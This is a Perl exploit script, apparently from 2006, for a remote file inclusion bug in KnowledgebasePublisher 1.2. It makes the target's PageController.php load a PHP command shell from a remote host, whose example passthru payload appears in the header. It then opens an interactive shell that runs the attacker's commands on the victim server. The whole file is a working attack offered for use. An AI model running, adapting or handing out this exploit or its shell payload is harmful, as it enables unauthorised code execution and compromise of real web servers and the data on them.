#!/usr/bin/perl
##
# KnowledgebasePublisher 1.2 Remote Code Execution Exploit
# Bug Found By uid0
## 
# (c) 2006
# ExploiterCode.com
##
# usage:
# perl knowledgebase.pl <location of KnowledgebasePublisher> <cmd shell location <cmd shell variable>
#
# perl knowledgebase.pl http://site.com/knowledgebase/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, and everyone else!
#
# special shout to [ill]will! come back soon from jail!
##
# Contact: www.exploitercode.com irc.exploitercode.com uid0@exploitercode.com
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
  print "[shell] \$";
while(<STDIN>)
        {
                $cmd=$_;
                chomp($cmd);
         
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'client/faq_1/PageController.php?dir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
  {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.+)<br.\/>.<b>Fatal.error/)


{
  $finreturn = $1;
  $finreturn=~ tr/[ê]/[\n]/;
  print "\r\n$finreturn\n\r";
  last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " *KnowledgebasePublisher 1.2 Remote Code Execution Exploit by ExploiterCode.com*\r\n";   
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: knowledgebase.pl <Site> <cmd shell> <cmd variable>\r\n\n";
 print " <Site> - Full path to KnowledgebasePublisher ex: http://www.site.com/knowledge/ \r\n";
 print " <cmd shell> - Path to Cmd Shell e.g http://www.site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "             Bug Found by uid0\r\n";
 print "  www.exploitercode.com irc.exploitercode.com #exploitercode\r\n";
 print "============================================================================\r\n";
 exit();
 }